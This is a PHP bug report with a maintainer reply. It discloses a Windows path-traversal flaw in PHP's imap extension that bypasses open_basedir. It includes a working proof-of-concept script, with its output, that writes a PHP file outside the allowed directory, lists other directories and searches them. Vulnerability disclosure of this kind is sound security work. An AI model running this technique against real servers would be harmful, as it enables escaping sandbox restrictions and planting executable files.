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[2018-04-02 07:18 UTC] fernando at null-life dot com
Description:
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Several functions inside the imap extension are vulnerable to path traversal on Windows. This allows to bypass the open_basedir restriction, using some of these functions, we can write files, list directories, and search files with specific content on any directory. See the test script. I was unable to reproduce this behavior on Linux.
This was tested on Windows 10 using php-7.2.4-nts-Win32-VC15-x86.zip. To reproduct, run the test script from a folder (i.e. C:\tools) and specify the open_basedir restriction, make sure to enable the imap extension.
php -n -dopen_basedir=C:\tools -dextension=ext\php_imap.dll poc.php
Test script:
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<?php
print "Make sure C:\\jump exists and place some files there.".PHP_EOL;
print "- Warning about open_basedir restriction ...".PHP_EOL;
scandir("C:\\jump");
$handle = imap_open("INBOX", '', '');
$fname = bin2hex(random_bytes(4)).".php";
print "- Creating $fname inside C:\\jump".PHP_EOL.PHP_EOL;
imap_createmailbox($handle, imap_utf7_encode("\\..\\..\\..\\jump\\$fname"));
imap_append($handle, "\\..\\..\\..\\jump\\$fname", "<?php phpinfo();?>");
print "- Listing all files inside C:\\jump".PHP_EOL.PHP_EOL;
$arr = imap_getmailboxes ($handle, "\\..\\..\\..\\jump\\", "*");
print "Found ".count($arr)." file(s)".PHP_EOL;
foreach($arr as $a) {
echo " ". $a->name.PHP_EOL;
}
print PHP_EOL."- Searching files that contain phpinfo inside C:\\jump".PHP_EOL.PHP_EOL;
$arr = imap_listscan ($handle, "\\..\\..\\..\\jump", "*", "phpinfo");
print "Found ".count($arr)." file(s) with the string phpinfo".PHP_EOL;
foreach($arr as $a) {
echo " ".$a.PHP_EOL;
}
Actual result:
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fmunozs@VX C:\tools
> C:\tools\php724\php.exe -n -dmax_execution_time=10 -dopen_basedir=C:\tools -dextension=ext\php_imap.dll poc.php
Make sure C:\jump exists and place some files there.
- Warning about open_basedir restriction ...
Warning: scandir(): open_basedir restriction in effect. File(C:\jump) is not within the allowed path(s): (C:\tools) in C:\tools\poc.php on line 5
Warning: scandir(C:\jump): failed to open dir: Operation not permitted in C:\tools\poc.php on line 5
Warning: scandir(): (errno 1): Operation not permitted in C:\tools\poc.php on line 5
- Creating 64016918.php inside C:\jump
- Listing all files inside C:\jump
Found 5 file(s)
\..\..\..\JUMP\
\..\..\..\JUMP\64016918.php
\..\..\..\JUMP\folder
\..\..\..\JUMP\folder\file1.txt
\..\..\..\JUMP\folder\file2.txt
- Searching files that contain phpinfo inside C:\jump
Found 1 file(s) with the string phpinfo
\..\..\..\jump\64016918.php
fmunozs@VX C:\tools
> cat \..\..\..\jump\64016918.php
From fmunozs@vx Mon Apr 2 01:58:25 2018 -0500
<?php phpinfo();?>
Status: O
X-Status:
X-Keywords:
X-UID: 1
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Thanks for reporting this issue! I can reproduce it. Heeding open_basedir might not be reasonably possible in general, since imap_open('INBOX') refers to a folder, which is not necessarily known to PHP (on Windows it appears to always be %USERPROFILE%, but on UNIX it may not be ~). Furthermore, there appear several special "paths" which are not filepaths at all (refer to docs/drivers.txt[1]) Therefore, the existing check[1] is moot. If we can't fix it, the issue has to be at least clearly documented (see also <https://bugs.php.net/74121>). And perhaps introducing an ini setting which could be used to disallow any access to the local filesystem directly would be appropriate. [1] <https://github.com/winlibs/imap/blob/7cce79fdcde62c8d95881c56c1058778e3543efe/docs/drivers.txt> [1] <https://github.com/php/php-src/blob/PHP-7.2.4/ext/imap/php_imap.c#L1293>